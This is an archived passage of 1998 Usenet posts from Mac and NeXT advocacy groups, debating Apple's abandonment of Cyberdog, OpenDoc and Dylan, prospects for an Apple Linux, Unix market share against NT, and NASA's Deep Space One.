friends at the Free Software Foundation. It is in their interest to cast
Linux as a GNU/GPL phenomenon. That's nothing more than spin.
> Commercial Linux distributions are best left with companies that have tailored
> their buisiness plans and capabilities appropriately, such as Red Hat, Prime
> Time Freeware, and similar businesses.
Errrrr... wouldn't you say the same thing about, oh, say, making
monitors? Seems like there are companies who do a much better job of
that business than Apple. Then again, if it's important to your product
line, why not run a new division to take care of business?
I don't know why Apple would have to reinvent itself just to ship a
friggin Linux distribution.
MJP
Message-ID: <363825AC.2CF94D3F@nstar.net>
Date: Thu, 29 Oct 1998 02:22:04 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
References: <F1JMIx.Kzz@T-FCN.Net> <B25CC061-23548@206.165.43.58> <F1K897.AK7@T-FCN.Net>
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Maury Markowitz wrote:
[cut]
> I don't see this at all, I see this as more reason NOT to upgrade their
> machines. The market is clearly driven be people buying new machines so
> they can run some new piece of software that does not run (well) on their
> current machine.
Just personal opinion, but I think that this is wrong. Conventional
wisdom, of course, agrees with you, and conventional wisdom rarely looks
beyond the surface. If new software did not run on my machine it would
be very easy to justify sticking with the old machine. If I could spend
incrementally I would be much more inclined to spend money at all. I
know a lot of people with old personal computers who insist that because
their machine runs the software they bought for it, it is perfectly
adequate. In most cases, this mindset solidified when they began to
realize that newer software (like Windows 95) would not run on their
existing hardware.
By contrast, I have seen a strong tendency toward upgrades when software
*runs* but does not run *well*. I might have quit gaming if newer games
had refused to run on my old stuff; as it was, all of it ran, but ran
slowly or with features disabled. You didn't have to twist my arm to get
me to spend money on an upgrade that would accelerate an existing
investment.
What's more, if I upgrade existing equipment I tend to stick with my
current vendor if possible. If I make a clean break I start to look out
on the horizon for new prospects. Force a Mac user to start over, and he
may not stay a Mac user...it happens quite a lot these days.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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Cc: english@primenet.com
Organization: needs one
References: <F1K897.AK7@T-FCN.Net> <B25D5ABF-22898@206.165.43.25>
Mime-Version: 1.0
Date: Thu, 29 Oct 1998 15:01:18 GMT
In <B25D5ABF-22898@206.165.43.25> "Lawson English" wrote:
> Er, that is an ftp site for CD 1.2.1
Funny, I remember saying that. See?
> (admittedly older).
This still has little bearing on your argument, I don't believe 2.0 was
ever on that site. Seems to me like they took down one site, and weren't
looking to "destroy" it as you suggest. Sad to see admittedly, but your
paranoia isn't proving anything. I notice you don't address any of the
other products I mentioned. Some of them were indeed removed even from
this FTP site.
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: a prediction
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: billa@uiuc.edu
Organization: needs one
References: <7156co$ors@newsb.netnews.att.com> <cirby-2710981724400001@pm61-01.magicnet.net>
<slrn73d3uk.3tn.jason@jhste1.dyn.ml.org> <716948$1e5@dfw-ixnews4.ix.netcom.com>
<billa-2810981827440001@archbald-87.slip.uiuc.edu>
Mime-Version: 1.0
Date: Thu, 29 Oct 1998 15:04:47 GMT
In <billa-2810981827440001@archbald-87.slip.uiuc.edu> Bill Altenberger
wrote:
> It ain't all SCFI. NASA is testing out an ion drive propulsion system.
I don't see why this is "news", but I'll never understand the press.
FYI, NASA's had working ion drives since the 1970's and they are found on
any number of sats, and their (cancelled) Halley's probe which was to be
launched (IIRC) in the early 1980's used a cluster of them. Ion drives are
old tech, although there's much room for improvement.
Maury
Message-ID: <36382662.E5727033@nstar.net>
Date: Thu, 29 Oct 1998 02:25:06 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3637d46e.0@news.together.net>
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Lance Togar wrote:
[cut]
> >3. port Quicktime, etc to Linux
> ..
> Much work.
Why, exactly?
> >4. look long and hard at chucking OSX altogether in favor of
> >previously described Apple Linux.
> ..
> You've got my vote... I don't much care for BSD anyway.
I can believe that Apple would get better support right out of the gate
(for a Linux product) than they currently have or will have within a
year for anything else, like MacOS X.
[cut]
MJP
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 29 Oct 1998 11:00:00 -0500
Organization: phenix@interpath.com
Message-ID: <1dhnqef.ifhz13nzxr5sN@roxboro0-001.dyn.interpath.net>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com> <F16z2v.DtH@T-FCN.Net> <362E376F.AB64DD73@ericsson.com> <F174Bo.GqD@T-FCN.Net> <362E5E34.506667F8@ericsson.com> <F17AF7.K7I@T-FCN.Net> <B253CB6F-25222@206.165.43.156> <F18HKC.C4w@T-FCN.Net> <362F5239.6C1C8ED9@ericsson.com> <ch3-2210980911310001@1cust32.tnt3.redmond.wa.da.uu.net> <B254BAC2-17693@206.165.43.59> <F18x3x.Kq6@T-FCN.Net> <B254E870-62DAF@206.165.43.221> <F1ADL0.GKG@T-FCN.Net> <B256154D-35BC7@206.165.43.86> <3630f1ad.0@news.depaul.edu> <F1FyGB.r9@T-FCN.Net> <B25A0F4C-1923E@206.165.43.172> <F1Hs9s.FxB@T-FCN.Net> <B25B99D2-1753A@206.165.43.150> <F1ICMK.4F7@T-FCN.Net> <B25BA564-42D5E@206.165.43.150> <F1JMIx.Kzz@T-FCN.Net> <B25CC061-23548@206.165.43.58> <F1K897.AK7@T-FCN.Net> <B25D5ABF-22898@206.165.43.25>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Lawson English <english@primenet.com> wrote:
> Maury Markowitz <maury@remove_this.istar.ca> said:
>
> > Your entire whine is based on them "destroying" the software, but even
> >some basic poking about found...
> >
> >ftp://ftp.apple.com/Apple_Support_Area/Apple_Software_Updates/
> >English-North_
> >American/Macintosh/Networking-Communications/Cyberdog/
>
> Er, that is an ftp site for CD 1.2.1
>
> The latest version is 2.0, which cannot be found, according to every person
> posting on the mirrored Cyberdog newsgroup.
I don't believe that is the case - if I recall correctly there is at
least one site where it's still available.
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
I did, but how about using a sigdash before that (i.e. use the below
sig).
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: UNIX outpaces NT
Date: 29 Oct 1998 15:47:03 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71a2ln$195@newsb.netnews.att.com>
Originator: gupta@tlctest
According to a story on TechWeb (that I got to via the following
URL : http://www.newsnow.co.uk/cgi-bin/Goto/106147)
"According to market researcher Dataquest, Unix growth is
accelerating and outpacing that of NT. Unix server usage
grewo 12.7 percent in the past two years, from a 36 percent
market share in 1996 to 42.7 percent in the second quarter
of this year. NT, by constrast, grew 6.5 percent, half the
rate of Unix, from 9.7 percent in 1996 to 16.2 percent in 1998."
The analysts give as the reason is that NT is far behind the
state-of-the-art, and ever-increasing in price. The ongoing
UNIX unification/consolidation should help reduce the variants
users encounter.
( The article also notes that Sun is helping Linux by licensing
the source code for JDK 1.2 and JCK 1.2 to Steve Brynes, who
is working on the official Linux port. Sun is offering Solaris 7.0
free for non-commercial use.)
****
The time is as propitious as it ever could be for Apple to
introduce its consumer/low-end-to-middle-range Unix variant,
MacOS X Server.
-arun gupta
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: Wed, 28 Oct 1998 23:03:59 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <3638135F.8F1ED4D5@ncal.verio.com>
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net>
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> Given that I suspect in the future your major Linux venders will be
> companies that actually make their money off of other stuff like
> hardware or apps that run on Linux, Apple is in a unique postion to
> become the center of the Linux world.
Um. All that code in the usual Linux (and MkLinux) distribution is under GPL
or similar (sometimes more restrictive) copyleft. Apple would also have to
give away the source for everything they added on the distribution, if the
terms of all these assorted licenses were honored, and couldn't charge more
than distribution costs. (RMS is complaining about the proprietary software
and docs on the MkLinux disk; that is, the MacOS used to bootstrap the Linux installation!)
Apple would have to derive all revenues from product support, eating the
non-recurring engineering costs. I'd be hard pressed to explain to the
stockholders how this benefits them. It's not a good fit for Apple's business
model. Then again, there seems to be a hardcore 'death to the capitalist pig
dog imperialist warmongers' thing going with a few folks with regard to
responsibilities to investors.
Don't get me wrong. I like Linux, and it has a definite place in the
marketplace, and is a good fit for some niches. I don't think it's a terribly
good replacement for desktop computing applications for non-technical users,
and is a really bad mismatch with Apple's business model.
Commercial Linux distributions are best left with companies that have tailored
their buisiness plans and capabilities appropriately, such as Red Hat, Prime
Time Freeware, and similar businesses.
Subject: eyeballs
Newsgroups: comp.sys.next.advocacy
From: email@end.of.post (Raymond Lutz)
Message-ID: <gsUZ1.566$IR2.1218@wagner.videotron.net>
Date: Thu, 29 Oct 1998 07:04:44 GMT
NNTP-Posting-Date: Thu, 29 Oct 1998 02:04:44 EDT
Hi there,
for those who don't check Stepwise as often as their mailbox,
there's a link to a *really good* article on MacOS, OpenStep,
Carbon, etc... by Kai Cherry at macopinion.com (thanks Scott!)
here's an excerpt of "Skin Deep .. Inner Peace OpenStep":
>
> And that hope lies in the hands of those Openstep guys out there.
> If they can stick by us, if they can bring just one App to the
> table that can shame these big boys that are willing to stick to
> the 'good-enough' API, if a company with a team of like 10
> engineers can put out a WordPro or SpreadSheet or Graphics/Pub
> .app that makes a Carbon-bound Mac app whither in shame, then
> maybe, just MAYBE we'll get what we deserve.(...)
>
> Help the blind to see that we can look good, and kick major booty.
>
Ha Ha, I really like the last sentence, did Kai read Greg sig?
>
> Gregory H. Anderson | "We're in the land of the blind,
> Visionary Ophthalmologist | selling working eyeballs, and they
> Anderson Financial Systems | balk at the choice of color." -- Tony
> greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
>
8^)
GO, Openstep guys, GO!
And we all know killer apps can sell an OS, don't we?
Will they succed selling an API?
Ray, empli d'espoir
--
Raymond Lutz - 9bit.qc.ca@lutzray - www.9bit.qc.ca/~$myusername - "Les 400 plus fortunes individus de la planete possedent autant que 2.3 MILLIARDS des plus pauvres reunis"
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 29 Oct 1998 13:37:18 GMT
Organization: Primenet (602)416-7000
Message-ID: <719r2e$f41$1@nnrp02.primenet.com>
References: <F16L0y.6FC@T-FCN.Net> <B2537E73-26057@206.165.43.220>
Lawson English <english@primenet.com> wrote:
: Now, if they can just bring back an OpenDoc solution, either Carbon OR
: YB-based, don't matter at this point.
What if someone brings it back for GNOME? I just came across a description
of BABOON as:
The document model is called BABOON, a mix between
OLE2-COM/OpenDoc. It is in early prototype and still being
worked on.
The article I quote, about GNOME in general, is here:
http://lwn.net/1998/1029/als/gnome.html
I'm not sure yet how much I like the GNOME architecture of C + CORBA, as
opposed to a more traditionally object oriented system. I may have to
build a GNOME app before I make up my mind.
FWIW,
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 98 10:01:06 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25DED64-2BAB2@206.165.43.81>
References: <F1LGE7.7Aw@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
> This still has little bearing on your argument, I don't believe 2.0 was
>ever on that site. Seems to me like they took down one site, and weren't
>looking to "destroy" it as you suggest. Sad to see admittedly, but your
>paranoia isn't proving anything. I notice you don't address any of the
>other products I mentioned. Some of them were indeed removed even from
>this FTP site.
How many people were still producing software for PowerTalk?
And I assumed that you were referring to the second URL with your comment
about "admittedly older," because if you were referring to both of them,
then all you are saying is that Apple has made available out-of-date
products that no-one wants to use, period, while deleting products that
users still consider viable.
Consider this: Kantara negotiated for a year with Apple to take over
custodianship of Cyberdog, with an eye to upgrading it and making it work
with the latest web technology. After a year's negotiating in good-faith,
the VP of developer relations (who is also VP of marketing) said "no."
Cyberdog was deleted from the 8.1 CD but still works with 8.1. The CD 2.0
ftp site was deleted last week, even though Cyberdog 2.0 works (according
to those that are using it) better than ever.
This is NOT the same as PowerTalk, where there's no group of developers and
users that are still producing and consuming products that make use of it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 98 10:05:48 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25DEE7F-2FCC0@206.165.43.81>
References: <1dhnqef.ifhz13nzxr5sN@roxboro0-001.dyn.interpath.net>
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John Moreno <phenix@interpath.com> said:
>I don't believe that is the case - if I recall correctly there is at
>least one site where it's still available.
There's an educational mirror in XX that still has it (until Apple gets
wind of it), but Apple doesn't distribute it any more. I found out about
that site AFTER I posted to Maury, but my point still stands: Apple doesn't
carry the software any more and has made sure that it is difficult (if not
impossible) to obtain it.
I'm reasonably certain that Apple will request that they stop carrying it.
If they were NOT interested in killing the product and ending all use of
it, they would be willing to allow www.cyberdog.org to make it available
for ftp, no?
That's the acid-test, I think. Will Apple say yay or nay to loyal Mac users
trying to rescue their favorite Macintosh-only net-technolgy?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3637d46e.0@news.together.net> <36382662.E5727033@nstar.net>
Subject: Re: Linux availibility for the Mac.
Date: Thu, 29 Oct 1998 12:37:46 -0500
Message-ID: <3638a602.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Michael J. Peck wrote in message <36382662.E5727033@nstar.net>...
>Lance Togar wrote:
>
>[cut]
>
>> >3. port Quicktime, etc to Linux
>> ..
>> Much work.
>
>Why, exactly?
..
Reasonable performace requires direct access to the hardware. A no-no for
servers. I'll save you some time by pointing out that MS shouldn't have done
this with NT 4 either. OTH, NT has been around long enough for some of the
bugs to be worked out.
..
>> >4. look long and hard at chucking OSX altogether in favor of
>> >previously described Apple Linux.
>> ..
>> You've got my vote... I don't much care for BSD anyway.
>
>I can believe that Apple would get better support right out of the gate
>(for a Linux product) than they currently have or will have within a
>year for anything else, like MacOS X.
>
..
Agreed.
..
..
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 98 11:05:11 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25DFC6A-64211@206.165.43.81>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>
> Depends on your numbers. When you provide some I'd be happy to look
them
>over.
Check out the browserwatch stats:
<http://browserwatch.internet.com/stats/stats.html>
About 1000 hits on the page, for 2.7% of the activity.
The petition that I mention below has about 20 UNIQUE additional e-mail
signatures each day.
And for conspiracies, all we need to do is look at the formal evidence of
the DOJ vs Microsoft trial: Gates threatened to withdraw MS Office support
from Apple if they didn't kill NetScape. Do you think that Gates, who is
on-record as having threatened Apple over OpenDoc several years ago, would
have ignored Cyberdog? Cyberdog went from being the centerpiece of Apple's
internet technology to nothing at all during the same time-period that
Gates was threatening Apple over Netscape (recall that a Netscape
OpenDoc-Cyberdog part was in the works and a beta version of it even
appeared in a Browserwatch profile at one point).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 29 Oct 1998 18:00:31 GMT
Organization: San Diego State University
Message-ID: <71aafv$7sg$1@hole.sdsu.edu>
References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81> <F1Lo80.C3u@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: This is old news. Is this supposed to be some sort of point?
This: you say that Apple should cut unprofitable development. Well
and good--but Apple doesn't _just_ cut costs. They make it impossible
for _anyone else_ to assume the burden of continuing development on the
projects cut.
The same story with Apple Cambridge and Dylan: Apple razes the division
and makes it well-nigh impossible for Harlequin or anyone else to continue
work in Dylan. Where was the cost to Apple in releasing full information
on their _cancelled_ Dylan development enviroment?
: Jobs cut things that were unprofitable. The result is a profitable
: company...
..that doesn't sell anything worth buying, while building up a
reputation for capriciousness and saying one thing while doing another.
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
------------------------------------------------
Dulce et decorum est pro patria futui
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 29 Oct 1998 17:52:57 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <71aa1p$pp3$1@cronkite.cs.umd.edu>
References: <7156co$ors@newsb.netnews.att.com> <cirby-2710981724400001@pm61-01.magicnet.net> <F1LGK0.7Dr@T-FCN.Net>
NNTP-Posting-Date: 29 Oct 1998 17:52:57 GMT
Maury Markowitz (maury@remove_this.istar.ca) wrote:
> In <billa-2810981827440001@archbald-87.slip.uiuc.edu> Bill Altenberger
> wrote:
> > It ain't all SCFI. NASA is testing out an ion drive propulsion system.
> I don't see why this is "news", but I'll never understand the press.
> FYI, NASA's had working ion drives since the 1970's and they are found on
> any number of sats, and their (cancelled) Halley's probe which was to be
> launched (IIRC) in the early 1980's used a cluster of them. Ion drives are
> old tech, although there's much room for improvement.
Saying that ion drives are "old tech" just because people have been around
for a while trying to get them to work is like saying a working fusion
reactor that produces more energy than it requires is "old tech" because
people have been working on fusion for fifty years. There's a *reason*
NASA has canned previous ion drive projects.
The ion drive is getting all the press, but the *big* news is that Deep
Space One will be the first space project with the ability to be FULLY
AUTONOMOUS. NASA is slowly coming to the realization that as its ground
crew budget gets axed, the distances get further (hence command/response
communication loops move into the hour range or longer), and emergency
issues become more pressing, a semiautonomous or fully autonomous
spacecraft will soon be a necessity. Deep Space One is the first project
to demonstrate that autonomy is here to stay. It has an on-board,
high-tech AI planner and scheduler which was going to control the entire
mission, dropping the ground crew to just a few people at most. But at the
last minute NASA got spooked about the notion of full autonomy on a
mission so jammed with other bells and whistles that could go wrong, and
will only let the planner be fully autonomous during some section of the
mission (perhaps the Cassini flyby, where autonomy is a *huge* win). It's
still a major leap forward for computer control. HAL, where are you when
we need you?
Sean Luke
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 98 11:16:26 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25DFF0D-6E0A6@206.165.43.81>
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tomlinson <etomlins@rohan.sdsu.edu> said:
>
>...that doesn't sell anything worth buying, while building up a
>reputation for capriciousness and saying one thing while doing another.
The iMac has holes in its head that a first grader can fit the tip of a
crayon into and it is being targeted at the K-12 market.
'nuff said.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81>
Mime-Version: 1.0
Date: Thu, 29 Oct 1998 17:50:23 GMT
In <B25DED64-2BAB2@206.165.43.81> "Lawson English" wrote:
> How many people were still producing software for PowerTalk?
1/2 a dozen I'd bet. Active that is. Considering that it was killed a
long time earlier than OD, this is surprising. Overall there was at least
as much PT software as there was for OD (I can think of some 30 gateways,
which compares well overall with OD "applettes" that did more than be a
button).
But you've just shot your own argument in the foot. Now you're willing
to put limits at which point it's OK to pull down the software/site.
Quick, what's your numbers?
> And I assumed that you were referring to the second URL with your comment
> about "admittedly older," because if you were referring to both of them,
> then all you are saying is that Apple has made available out-of-date
> products that no-one wants to use, period, while deleting products that
> users still consider viable.
No, I'm saying your argument is bogus. And it is.
> Consider this: Kantara negotiated for a year with Apple to take over
> custodianship of Cyberdog, with an eye to upgrading it and making it work
> with the latest web technology. After a year's negotiating in good-faith,
> the VP of developer relations (who is also VP of marketing) said "no."
This is old news. Is this supposed to be some sort of point?
> Cyberdog was deleted from the 8.1 CD but still works with 8.1. The CD 2.0
> ftp site was deleted last week, even though Cyberdog 2.0 works (according
> to those that are using it) better than ever.
PT still works as far as I know (actually on that I could be wrong). So
do older versions of OT and many other products which are actively
supported and used and do not appear on their site. Lawson, you don't have
any argument - again. Even if it were true that this was some personal
Jobsian anti-CD hatered, you'll likely find it impossible to prove, and
even if you could do that it's meaningless anyway. I mean how is this any
different than Newton, with the exception being that people were actually
paying for the later?
Jobs cut things that were unprofitable. The result is a profitable
company. All else is conjecture, likely wrong, and pointless anyway.
> This is NOT the same as PowerTalk, where there's no group of developers
> and
> users that are still producing and consuming products that make use of it.
Depends on your numbers. When you provide some I'd be happy to look them
over.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: YB developer's lost revenues
Message-ID: <cdoutyF1LxoL.Cwv@netcom.com>
Sender: cdouty@netcom14.netcom.com
Organization: Netcom Online Services, Inc.
References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81> <F1Lo80.C3u@T-FCN.Net> <71aafv$7sg$1@hole.sdsu.edu>
Date: Thu, 29 Oct 1998 21:14:45 GMT
In article <71aafv$7sg$1@hole.sdsu.edu>,
tomlinson <etomlins@rohan.sdsu.edu> wrote:
>Maury Markowitz (maury@remove_this.istar.ca) wrote:
>
>: This is old news. Is this supposed to be some sort of point?
>
>This: you say that Apple should cut unprofitable development. Well
>and good--but Apple doesn't _just_ cut costs. They make it impossible
>for _anyone else_ to assume the burden of continuing development on the
>projects cut.
>
>The same story with Apple Cambridge and Dylan: Apple razes the division
>and makes it well-nigh impossible for Harlequin or anyone else to continue
>work in Dylan. Where was the cost to Apple in releasing full information
>on their _cancelled_ Dylan development enviroment?
The cost is unknown. Apple would be totally abrogating their fiduciary
duty by releasing an Apple-developed ultra-high-technology like Dylan
where it could be used by a competitor. I hate to see technology get
suppressed for any reason, but Apple Inc. owns the rights to do whatever
they want with Dylan. Certainly the implementation is theirs to do with
as they please.
Now certain companies, like IBM and Digital, have released instruction
schedulers to the egcs project or released java technologies to the Linux
community. Why? The companies hope to generate good will amoung the
Open Source movement and incidentally get faster programs for their
computers. That is a clear business case. Neither IBM nor Digital make
a _lot_ of money from compilers and may still have some tricks they held
back for their commercial products. They get a clear benefit for little
risk.
If Apple released all of the Dylan project into the public domain or GPL,
or whatever then anyone could develop a product out of it. This include
Microsoft making a Windows-only Dylan-like thing. Apple might get a
little bit of good will from the CS academia and Open Source communities,
but solid Linux on PowerMac hardware support will get them more milage.
Apple is a for-profit corporation. They do not do things out of the
goodness of their heart because the have no heart. Apple spent tons of
money on R&D while their business was going down the tubes. Most of that
work never saw the light of day either. There was no business case to
release the research for anyone's use and plenty of reason not to.
I am sure that Apple would sell various buried technologies if the price
was right. So far no one has come up with an offer other than "free."
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81>
<F1Lo80.C3u@T-FCN.Net> <71aafv$7sg$1@hole.sdsu.edu>
Mime-Version: 1.0
Date: Thu, 29 Oct 1998 21:25:42 GMT
In <71aafv$7sg$1@hole.sdsu.edu> tomlinson wrote:
> This: you say that Apple should cut unprofitable development.
No I don't, when did I say that?
> and good--but Apple doesn't _just_ cut costs. They make it impossible
> for _anyone else_ to assume the burden of continuing development on the
> projects cut.
So? I don't see anyone getting thr rights to DOS.
> The same story with Apple Cambridge and Dylan: Apple razes the division
> and makes it well-nigh impossible for Harlequin or anyone else to continue
> work in Dylan. Where was the cost to Apple in releasing full information
> on their _cancelled_ Dylan development enviroment?
Future considerations?
> ..that doesn't sell anything worth buying
A statement clearly demonstrated to be false by current sales figures.
Perhaps there is an argument to be made, but basing yours on statements
like this is stupid.
> reputation for capriciousness and saying one thing while doing another.
At ANY time did Apple state they would be releasing Dylan, selling the
rights to CD, or keeping the CD site alive forever? No? I guess you're
making another unsubstantiated hyberbolic statement then.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 1998 22:27:36 GMT
Organization: Primenet (602)416-7000
Message-ID: <71aq4o$lns$1@nnrp02.primenet.com>
References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81> <F1Lo80.C3u@T-FCN.Net> <71aafv$7sg$1@hole.sdsu.edu> <cdoutyF1LxoL.Cwv@netcom.com>
Chris Douty <cdouty@netcom.com> wrote:
: If Apple released all of the Dylan project into the public domain or GPL,
: or whatever then anyone could develop a product out of it. This include
: Microsoft making a Windows-only Dylan-like thing. Apple might get a
: little bit of good will from the CS academia and Open Source communities,
: but solid Linux on PowerMac hardware support will get them more milage.
Looking further, I see that the Carnegie Mellon version of Dylan, the
Gwydion Project, is already Open Source:
http://myrddin.gwydion.cs.cmu.edu/dylan-release/docs/htdocs/copyright.html
John
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 29 Oct 1998 13:37:05 -0500
Organization: phenix@interpath.com
Message-ID: <1dhnx6o.1fmtifzwz944jN@roxboro0-062.dyn.interpath.net>
References: <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com> <F16z2v.DtH@T-FCN.Net> <362E376F.AB64DD73@ericsson.com> <F174Bo.GqD@T-FCN.Net> <362E5E34.506667F8@ericsson.com> <F17AF7.K7I@T-FCN.Net> <B253CB6F-25222@206.165.43.156> <F18HKC.C4w@T-FCN.Net> <362F5239.6C1C8ED9@ericsson.com> <ch3-2210980911310001@1cust32.tnt3.redmond.wa.da.uu.net> <B254BAC2-17693@206.165.43.59> <F18x3x.Kq6@T-FCN.Net> <B254E870-62DAF@206.165.43.221> <F1ADL0.GKG@T-FCN.Net> <B256154D-35BC7@206.165.43.86> <3630f1ad.0@news.depaul.edu> <F1FyGB.r9@T-FCN.Net> <B25A0F4C-1923E@206.165.43.172> <F1Hs9s.FxB@T-FCN.Net> <B25B99D2-1753A@206.165.43.150> <F1ICMK.4F7@T-FCN.Net> <B25BA564-42D5E@206.165.43.150> <F1JMIx.Kzz@T-FCN.Net> <B25CC061-23548@206.165.43.58> <F1K897.AK7@T-FCN.Net> <B25D5ABF-22898@206.165.43.25> <1dhnqef.ifhz13nzxr5sN@roxboro0-001.dyn.interpath.net> <B25DEE7F-2FCC0@206.165.43.81>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
